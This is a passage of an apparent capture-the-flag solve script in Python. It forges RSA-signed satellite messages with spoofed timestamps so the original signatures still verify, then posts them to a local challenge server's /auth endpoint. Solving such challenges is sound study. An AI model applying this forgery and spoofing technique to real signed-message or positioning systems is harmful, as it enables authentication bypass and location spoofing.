    "sat0": [67749, 27294, 94409],
    "sat1": [38630, -52128, -9112],
    "sat2": [-86459, -74172, 8698],
    "sat3": [36173, -84060, 95354],
    "flag": [0,0,0]
}
diff = [2932.1155644246755,5561.692610262566,-14310.773403531071,-74801.72034653489]
timelag = -20

def distance(a,b):
    dist = 0
    for i in range(3):
        dist += (a[i]-b[i])**2
    return math.sqrt(dist)

valid_chars = set(string.printable[:-5])
def my_decoder(hex_data):
    str_data = bytes.fromhex(hex_data).decode('utf-8',errors = 'ignore')
    #trim illegal characters
    str_data = ''.join(filter(lambda x: x in valid_chars, str_data))
    return str_data

def make_new_data(current_sat, idx):
    new_time = int(ut-int(distance(positions["sat"+str(idx)],positions["user"])) + diff[idx]) + timelag
    target_data = int.from_bytes(bytes.fromhex(current_sat["data"]),'little')
    current_sign = current_sat["sign"]
    n = current_sat["public_key"]["n"]
    
    for c1 in "qwertyuiopasdfghjklzxcvbnm":
        prefix =('{"time": ' + str(new_time) + f', "{c1}omi": "').encode()
        clear = b'\x00' * 128
        postfix = '"}'.encode()
        base = int.from_bytes(prefix + clear + postfix,'little')

        up = (((target_data - base) % n) + n) % n
        dwn = pow(2, 8*len(prefix), n)
        cand = up * pow(dwn, -1, n) % n
        mid = long_to_bytes(cand)
        mid = mid[::-1]
        res = prefix + mid + postfix

        try:
            x = json.loads(my_decoder(res.hex()))
            return res.hex()
        except:
            pass
    
    assert False

#rewite the host to the server address
host = "http://localhost:8000/"

data = {}

response = requests.get(host+"sat0")
data["sat0"] = response.json()

response = requests.get(host+"sat1")
data["sat1"] = response.json()

response = requests.get(host+"sat2")
data["sat2"] = response.json()

response = requests.get(host+"sat3")
data["sat3"] = response.json()

ut = int(time.time())
data["sat0"]["data"] = make_new_data(data["sat0"], 0)
data["sat1"]["data"] = make_new_data(data["sat1"], 1)
data["sat2"]["data"] = make_new_data(data["sat2"], 2)
data["sat3"]["data"] = make_new_data(data["sat3"], 3)

json_data = json.dumps(data)
response = requests.post(
    host+"auth",
    data=json_data,
    headers={"Content-Type": "application/json"}
    )
print(response.json())